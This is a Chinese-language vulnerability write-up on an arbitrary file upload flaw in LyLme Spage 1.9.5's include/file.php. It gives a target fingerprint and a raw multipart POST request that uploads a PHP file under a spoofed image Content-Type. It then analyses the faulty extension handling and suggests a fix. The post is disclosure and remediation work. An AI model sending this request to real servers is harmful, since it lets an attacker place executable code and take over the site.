【漏洞复现】六零导航页 _include_file.php 任意文件上传漏洞

免责声明:

        本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所提供的信息时,必须遵守适用法律法规和相关服务协议,并独自承担所有风险和责任。

产品描述

六零导航页 (LyLme Spage) 致力于简洁高效无广告的上网导航和搜索入口,支持后台添加链接、自定义搜索引擎,沉淀最具价值链接,全站无商业推广,简约而不简单。

漏洞描述

六零导航页/include/file.php接口存在任意文件上传漏洞,攻击者可以通过漏洞上传任意文件甚至木马文件,从而获取服务器权限。

漏洞影响

六零导航页 = 1.9.5 version

指纹

body=“六零导航页(LyLme Spage)致力于简洁高效无广告的上网导航和搜索入口”
image.png

漏洞复现

POST /include/file.php HTTP/1.1
Host: 
Connection: close
Content-Length: 184
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------***
Accept-Encoding: gzip, deflate, br

-----------------------------***
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/x-icon

<?php phpinfo();?>
-----------------------------***--

image.png
image.png

代码分析

在 1.9.5 中 作者更新了代码

<?php
  /*
 * @Description: 图片文件处理
 * @FilePath: /lylme_spage/include/file.php
 * @Copyright (c) 2024 by LyLme, All Rights Reserved.
 */
  header('Content-Type:application/json');
require_once("common.php");
define('SAVE_PATH', 'files/'); //保存路径

/**
 * 通过curl下载
 * @param string $url网上资源图片的url
 * @return string
 */
function download_img($url)
{
  $IMG_NAME = uniqid("img_"); //文件名
  $maxsize = pow(1024, 2) * 5; //文件大小5M
  $size = remote_filesize($url); //文件大小
  if ($size > $maxsize) {
    exit('{"code": "-1","msg":"抓取的图片超过' . $maxsize / pow(1024, 2) . 'M,当前为:' . round($size / pow(1024, 2), 2) . 'M"}');
  }

  $img_ext = pathinfo($url, PATHINFO_EXTENSION);
  //文件后缀名
  if (!validate_file_type($img_ext)) {
    exit('{"code": "-4","msg":"抓取的图片类型不支持"}');
  }
  $img_name = $IMG_NAME . '.' . $img_ext;
  //文件名
  $dir = ROOT . SAVE_PATH . 'download/';
  $save_to = $dir . $img_name;
  if (!is_dir($dir)) {
    mkdir($dir, 0755, true);
    //创建路径
  }
  $header = array(
    'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36',
    'Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding: gzip, deflate',
  );
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  curl_setopt($ch, CURLOPT_POST, 0);
  curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  //超过10秒不处理
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  //执行之后信息以文件流的形式返回
  $data = curl_exec($ch);
  curl_close($ch);
  $fileSize = strlen($data);
  if ($fileSize < 1024) {
    exit('{"code": "-1","msg":"抓取图片失败"}');
  }
  $downloaded_file = fopen($save_to, 'w');
  fwrite($downloaded_file, $data);
  fclose($downloaded_file);
  $fileurl =  '/' . SAVE_PATH . 'download/' . $img_name;
  echo('{"code": "200","msg":"抓取图片成功","url":"' . $fileurl . '","size":"' . round($fileSize / 1024, 2) . 'KB"}');
  return $save_to;
}
// 获取远程文件大小
function remote_filesize($url)
{
  ob_start();
  $ch = curl_init($url);
  curl_setopt($ch, CURLOPT_HEADER, 1);
  curl_setopt($ch, CURLOPT_NOBODY, 1);
  $ok = curl_exec($ch);
  curl_close($ch);
  $head = ob_get_contents();
  ob_end_clean();
  $regex = '/Content-Length:\s([0-9].+?)\s/';
  $count = preg_match($regex, $head, $matches);
  return isset($matches[1]) ? $matches[1] : "0";
}
/**
 * PHP上传图片
 * @param file 生成的文件
 * @return string
 */
function upload_img($upfile)
{
  $IMG_NAME =  uniqid("img_"); //文件名
  $maxsize = pow(1024, 2) * 5;
  //文件大小5M
  $dir = ROOT . SAVE_PATH . 'upload/';
  if (!is_dir($dir)) {
    mkdir($dir, 0755, true);
    //创建路径
  }
  $type = $upfile["type"];
    $size = $upfile["size"];
    $tmp_name = $upfile["tmp_name"];
    if (!validate_file_type($type)) {
        exit('{"code": "-4","msg":"上传的图片类型不支持"}');
    }
    $parts = explode('.', $upfile["name"]);
    $img_ext = "." . end($parts);
    if ($size > $maxsize) {
        exit('{"code": "-1","msg":"图片不能超过' . $maxsize / pow(1024, 2) . 'M"}');
    }
    $img_name = $IMG_NAME . $img_ext;
    //文件名
    $save_to = $dir . $img_name;
    $url =  '/' . SAVE_PATH . 'upload/' . $img_name;
    if (move_uploaded_file($tmp_name, $dir . $img_name)) {
        echo('{"code": "200","msg":"上传成功","url":"' . $url . '"}');
        return  $dir . $img_name;
    }
}
//文件验证
function validate_file_type($type)
{
    switch ($type) {
        case 'jpeg':
            $type = 'image/jpeg';
            break;
        case 'jpg':
            $type = 'image/jpeg';
            break;
        case 'png':
            $type = 'image/png';
            break;
        case 'gif':
            $type = 'image/gif';
            break;
        case 'ico':
            $type = 'image/x-icon';
            break;
    }

    $allowed_types = array("image/jpeg", "image/png", "image/gif", "image/x-icon");
    return in_array($type, $allowed_types);
}
/**
 * 图像裁剪
 * @param $title string 原图路径
 * @param $content string 需要裁剪的宽
 * @param $encode string 需要裁剪的高
 */
function imagecropper($source_path, $target_width, $target_height)
{
    if (filesize($source_path) < 10000) {
        return false;
    }
    $source_info = getimagesize($source_path);
    $source_width = $source_info[0];
    $source_height = $source_info[1];
    $source_mime = $source_info['mime'];
    $source_ratio = $source_height / $source_width;
    $target_ratio = $target_height / $target_width;
    // 源图过高
    if ($source_ratio > $target_ratio) {
        $cropped_width = $source_width;
        $cropped_height = $source_width * $target_ratio;
        $source_x = 0;
        $source_y = ($source_height - $cropped_height) / 2;
    }
    // 源图过宽
    elseif ($source_ratio < $target_ratio) {
        $cropped_width = $source_height / $target_ratio;
        $cropped_height = $source_height;
        $source_x = ($source_width - $cropped_width) / 2;
        $source_y = 0;
    }
    // 源图适中
    else {
        $cropped_width = $source_width;
        $cropped_height = $source_height;
        $source_x = 0;
        $source_y = 0;
    }
    switch ($source_mime) {
        case 'image/gif':
            $source_image = imagecreatefromgif($source_path);
            break;
        case 'image/jpeg':
            $source_image = imagecreatefromjpeg($source_path);
            break;
        case 'image/png':
            $source_image = imagecreatefrompng($source_path);
            break;
        case 'image/x-icon':
            $source_image = imagecreatefrompng($source_path);
            break;
        default:
            return false;
            break;
    }
    imagesavealpha($source_image, true);
    // 保留源图片透明度
    $target_image = imagecreatetruecolor($target_width, $target_height);
    $cropped_image = imagecreatetruecolor($cropped_width, $cropped_height);
    imagealphablending($target_image, false);
    // 不合并图片颜色
    imagealphablending($cropped_image, false);
    // 不合并图片颜色
    imagesavealpha($target_image, true);
    // 保留目标图片透明
    imagesavealpha($cropped_image, true);
    // 保留目标图片透明
    imagecopy($cropped_image, $source_image, 0, 0, $source_x, $source_y, $cropped_width, $cropped_height);
    // 裁剪
    imagecopyresampled($target_image, $cropped_image, 0, 0, 0, 0, $target_width, $target_height, $cropped_width, $cropped_height);
    // 缩放
    imagepng($target_image, $source_path);
    imagedestroy($target_image);
    return true;
}

if (empty($_POST["url"]) && !empty($_FILES["file"])) {
    $filename = upload_img($_FILES["file"]);
    if (isset($islogin) == 1 && $_GET["crop"] == "no") {
        //不压缩图片
        exit();
    }
    //上传图片
} elseif (!empty($_POST["url"])) {
    $filename = download_img($_POST["url"], $_POST["referer"]);
    //下载图片
} else {
    exit('{"code": "0","msg":"error"}');
}
imagecropper($filename, 480, 480);

首先进入函数,最低下,如果 $_POST[“url”] 为空且 F I L E S [ " f i l e " ] 存在,则为 t r u e ,进入文件上传函数 u p l o a d i m g ( _FILES["file"] 存在,则为true,进入文件上传函数 upload_img( FILES["file"]存在,则为true,进入文件上传函数uploadimg(_FILES[“file”]);

if (empty($_POST["url"]) && !empty($_FILES["file"])) {
    $filename = upload_img($_FILES["file"]);
    if (isset($islogin) == 1 && $_GET["crop"] == "no") {
        //不压缩图片
        exit();
    }

upload_img($upfile) 函数分析

function upload_img($upfile)
{
  $IMG_NAME =  uniqid("img_"); //文件名
  $maxsize = pow(1024, 2) * 5;
  //文件大小5M
  $dir = ROOT . SAVE_PATH . 'upload/';
  if (!is_dir($dir)) {
    mkdir($dir, 0755, true);
    //创建路径
  }
  $type = $upfile["type"];
    $size = $upfile["size"];
    $tmp_name = $upfile["tmp_name"];
    if (!validate_file_type($type)) {
        exit('{"code": "-4","msg":"上传的图片类型不支持"}');
    }
    $parts = explode('.', $upfile["name"]);
    $img_ext = "." . end($parts);
    if ($size > $maxsize) {
        exit('{"code": "-1","msg":"图片不能超过' . $maxsize / pow(1024, 2) . 'M"}');
    }
    $img_name = $IMG_NAME . $img_ext;
    //文件名
    $save_to = $dir . $img_name;
    $url =  '/' . SAVE_PATH . 'upload/' . $img_name;
    if (move_uploaded_file($tmp_name, $dir . $img_name)) {
        echo('{"code": "200","msg":"上传成功","url":"' . $url . '"}');
        return  $dir . $img_name;
    }
}

前期都是一些创建文件夹于文件目录的函数

  • $IMG_NAME = uniqid(“img_”); 以微秒计的当前时间,生成一个唯一的 ID,拼接img_作为文件前缀
  • $maxsize文件大小
  • if (!is_dir(KaTeX parse error: Expected '}', got 'EOF' at end of input: dir)){mkdir(dir, 0755, true);} 创建路径
  • $tmp_name = $upfile[“tmp_name”]; 上传文件后服务器存储的的临时文件名
  • $type = $upfile[“type”]; 上传文件的类型
  $IMG_NAME =  uniqid("img_"); //文件名
  $maxsize = pow(1024, 2) * 5;
  //文件大小5M
  $dir = ROOT . SAVE_PATH . 'upload/';
  if (!is_dir($dir)) {
    mkdir($dir, 0755, true);
    //创建路径
  }
  $type = $upfile["type"];
  $size = $upfile["size"];
  $tmp_name = $upfile["tmp_name"];

validate_file_type()验证函数

    if (!validate_file_type($type)) {
        exit('{"code": "-4","msg":"上传的图片类型不支持"}');
    }

$type 为我们 requests 包请求中的 Content-Type: 所输入的值
最后使用函数 in_array() 去判断我们所提交的类型是否存在数组 $allowed_types 中 ,如果存在则 return

function validate_file_type($type)
{
    switch ($type) {
        case 'jpeg':
            $type = 'image/jpeg';
            break;
        case 'jpg':
            $type = 'image/jpeg';
            break;
        case 'png':
            $type = 'image/png';
            break;
        case 'gif':
            $type = 'image/gif';
            break;
        case 'ico':
            $type = 'image/x-icon';
            break;
    }

    $allowed_types = array("image/jpeg", "image/png", "image/gif", "image/x-icon");
    return in_array($type, $allowed_types);
}

如果提交的 Content-Type 类型不存在,则直接结束

exit('{"code": "-4","msg":"上传的图片类型不支持"}');

截取文件后缀且上传

    $parts = explode('.', $upfile["name"]);
    $img_ext = "." . end($parts);
    if ($size > $maxsize) {
        exit('{"code": "-1","msg":"图片不能超过' . $maxsize / pow(1024, 2) . 'M"}');
    }
    $img_name = $IMG_NAME . $img_ext;
    //文件名
    $save_to = $dir . $img_name;
    $url =  '/' . SAVE_PATH . 'upload/' . $img_name;
    if (move_uploaded_file($tmp_name, $dir . $img_name)) {
        echo('{"code": "200","msg":"上传成功","url":"' . $url . '"}');
        return  $dir . $img_name;
    }
  • explode(): 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
  • end(): 函数将数组内部指针指向最后一个元素,并返回该元素的值。
  • move_uploaded_file():函数将上传的文件移动到新位置。 若成功,则返回 true,否则返回 false。 语法 move_uploaded_file(file,newloc) 参数描述 file 必需

通过 explode() 以 ‘.’ 分割,最后使用 end() 取出文件名称后缀放入变量 $img_ext 中

$parts = explode('.', $upfile["name"]);//以 . 分割出后缀 php
$img_ext = "." . end($parts); // 取出 $parts 数组最后一个元素,且拼接上 .(.php)
$img_name = $IMG_NAME . $img_ext; // 拼接上文件名
move_uploaded_file($tmp_name, $dir . $img_name) # 上传文件

漏洞修复

可以参照 1.8.5 版本的代码,强制根据 $_FILES[“file”][“type”] 定义后缀

function upload_img($upfile) {
	$maxsize = pow(1024,2)*5;
	//文件大小5M
	$dir = ROOT.SAVE_PATH.'upload/';
	if(!is_dir($dir)) {
		mkdir($dir,0755,true);
		//创建路径
	}
	$type = $upfile ["type"];
	$size = $upfile ["size"];
	$tmp_name = $upfile ["tmp_name"];
	switch ($type) {
		case 'image/jpeg' :
        case 'image/jpg' :
            $extend = ".jpg";
		break;
		case 'image/gif' :
            $extend = ".gif";
		break;
		case 'image/png' :
            $extend = ".png";
		break;
		case 'image/x-icon':
            $extend = ".ico";
        break;
            
	}
	if (empty( $extend )) {
		exit('{"code": "-1","msg":"上传的图片类型不支持"}');
	}
	if ($size > $maxsize) {
		exit('{"code": "-1","msg":"图片不能超过'.$maxsize/pow(1024,2).'M"}');
	}
	$img_name = IMG_NAME.$extend;
	//文件名
	$save_to = $dir.$img_name;
	$url = siteurl().'/'.SAVE_PATH.'upload/'.$img_name;
	if (move_uploaded_file ( $tmp_name, $dir . $img_name )) {
		echo('{"code": "200","msg":"上传成功","url":"'.$url.'"}');
		return  $dir . $img_name;
	}
}

关注公众号,获取更多安全资讯:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/713189.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

西门子学习笔记15 - 位逻辑操作的学习

1、点动操作&#xff08;按下按钮就启动松开就停止&#xff09; 2、自锁电路&#xff08;可以自己保持的状态除非常闭停止按下&#xff09; 3、取反操作&#xff08;顾名思义就是反过来1就变成0&#xff0c;0就变成1&#xff09; 4、置为复位&#xff08;置位之后如果不复位的话…

Elixir学习笔记——进程(Processes)

在 Elixir 中&#xff0c;所有代码都在进程内运行。进程彼此隔离&#xff0c;彼此并发运行并通过消息传递进行通信。进程不仅是 Elixir 中并发的基础&#xff0c;而且还提供了构建分布式和容错程序的方法。 Elixir 的进程不应与操作系统进程混淆。Elixir 中的进程在内存和 CPU…

餐厅点餐系统的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;管理员管理&#xff0c;商品管理&#xff0c;用户管理&#xff0c;店家管理&#xff0c;广告管理 店家账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;商品管理&#xff0c;广告管…

新能源汽车高压上电、高压下电逻辑分析

高压上电逻辑 新能源汽车的上电分为高压上电和低压上电&#xff0c;高压上电流程一般理解为高压件通电的过程&#xff0c;具体流程如下&#xff1a; 1、点火开关处于ON档时&#xff0c;仪表盘点亮&#xff0c;低压电接通。 2、VCU、BMS、MCU等控制模块依次被唤醒并开始进行自检…

驾校在线考试系统源码 手机+PC+平板自适应

Thinkphp在线考题源码 驾校在线考试系统 手机PC平板 自适应&#xff0c;机动车驾驶培训学校驾校类网站源码带手机端 运行环境&#xff1a;phpmysql 内附安装说明 驾校在线考试系统源码 手机PC平板自适应

深入探讨限流算法:固定窗口、滑动窗口、漏桶与令牌桶原理及应用场景

固定窗口算法 简单粗暴&#xff0c;但有临界问题&#xff1a; 滑动窗口算法 滑动窗口通俗来讲是一种流量控制技术&#xff0c;描述接收方TCP数据报缓冲区大小的数据。发送方根据这个数据计算最大可发送的数据量。滑动窗口协议是TCP使用的一种流量控制方法&#xff0c;允许发送…

如何从印刷体的图片中把手写体部分统统去掉?--免费途径

AI图像处理技术 我是从国外某个网站上找到在线AI免费credit的处理方式的。国内的基本没有全功能试用、或者即使收费也不好用。 国内的差距主要是&#xff1a;1、对图片分辨率和大小有更多限制&#xff0c;即使收费用户也是&#xff1b;2、需要安装app之类&#xff0c;然后连线…

给类设置serialVersionUID

第一步打开idea设置窗口&#xff08;setting窗口默认快捷键CtrlAltS&#xff09; 第二步搜索找到Inspections 第三步勾选主窗口中Java->Serializations issues->下的Serializable class without serialVersionUID’项 &#xff0c;并点击“OK”确认 第四步鼠标选中要加…

智能体(Agent)实战——从gpts到auto gen

一.GPTs 智能体以大模型作为大脑&#xff0c;同时配备技能&#xff0c;使其能够完成具体的任务。同时&#xff0c;为了应用于垂直领域&#xff0c;我们需要为大模型定义一个角色&#xff0c;并构建知识库。最后&#xff0c;定义完整的流程&#xff0c;使其完成整个任务。以组会…

【回文 马拉车】214. 最短回文串

本文涉及知识点 回文 马拉车 LeetCode214. 最短回文串 给定一个字符串 s&#xff0c;你可以通过在字符串前面添加字符将其转换为回文串。找到并返回可以用这种方式转换的最短回文串。 示例 1&#xff1a; 输入&#xff1a;s “aacecaaa” 输出&#xff1a;“aaacecaaa” 示…

从最小二乘法的角度来理解卡尔曼滤波(1)

从最小二乘法的角度来理解卡尔曼滤波&#xff08;1&#xff09; flyfish 假设你有一堆数据点&#xff0c;比如在一个二维平面上有很多点。你想找到一条直线&#xff0c;能够尽可能接近这些点。这条直线可以用一个方程来表示&#xff1a;y mx b&#xff0c;其中 m 是斜率&am…

Nginx - 反向代理、负载均衡、动静分离(案例实战分析)

目录 Nginx 开始 概述 安装&#xff08;非 Docker&#xff09; 配置环境变量 常用命令 配置文件概述 location 路径匹配方式 配置反向代理 实现效果 准备工作 具体配置 效果演示 配置负载均衡 实现效果 准备工作 具体配置 实现效果 其他负载均衡策略 配置动…

MATLAB直方图中bin中心与bin边界之间的转换

要将 bin 中心转换为 bin 边界&#xff0c;请计算 centers 中各连续值之间的中点。 d diff(centers)/2; edges [centers(1)-d(1), centers(1:end-1)d, centers(end)d(end)];要将 bin 边界转换为bin 中心 bincenters binedges(1:end-1)diff(binedges)/2;

16.大模型分布式训练框架 Microsoft DeepSpeed

微调、预训练显存对比占用 预训练LLaMA2-7B模型需要多少显存&#xff1f; 假设以bf16混合精度预训练 LLaMA2-7B模型&#xff0c;需要近120GB显存。即使A100/H100&#xff08;80GB&#xff09;单卡也无法支持。 为何比 QLoRA多了100GB&#xff1f;不妨展开计算下显存占用&…

文章MSM_metagenomics(五):共现分析

欢迎大家关注全网生信学习者系列&#xff1a; WX公zhong号&#xff1a;生信学习者Xiao hong书&#xff1a;生信学习者知hu&#xff1a;生信学习者CDSN&#xff1a;生信学习者2 介绍 本教程是使用一个Python脚本来分析多种微生物&#xff08;即strains, species, genus等&…

维度建模中的事实表设计原则

维度建模是一种数据仓库设计方法&#xff0c;其核心是围绕业务过程建立事实表和维度表。事实表主要存储与业务过程相关的度量数据&#xff0c;而维度表则描述这些度量数据的属性。 以下是设计事实表时需要遵循的几个重要原则&#xff0c;来源于《维度建模》那本书上&#xff0…

13.docker registry(私有仓库)

docker registry&#xff08;私有仓库&#xff09; 1.从公有仓库中下载镜像比较慢 &#xff0c;比如docker run执行一个命令假设本地不存在的镜像&#xff0c;则会去共有仓库进行下载。 2.如果要是2台机器之间进行拷贝&#xff0c;则拷贝的是完整的镜像更消耗空间。 3.如果1个…

python数据分析-糖尿病数据集数据分析预测

一、研究背景和意义 糖尿病是美国最普遍的慢性病之一&#xff0c;每年影响数百万美国人&#xff0c;并对经济造成重大的经济负担。糖尿病是一种严重的慢性疾病&#xff0c;其中个体失去有效调节血液中葡萄糖水平的能力&#xff0c;并可能导致生活质量和预期寿命下降。。。。 …

docker 简单在线安装教程

1、配置阿里镜像源 wget https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo -O /etc/yum.repos.d/docker-ce.repo 2、指定版本安装docker 本次制定安装 docker 服务版本、客户端版本都为&#xff1a; 19.03.14-3.el7 yum -y install docker-ce-19.03.14-3.e…

【python】tkinter GUI开发: 多行文本Text,单选框Radiobutton,复选框Checkbutton,画布canvas的应用实战详解

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…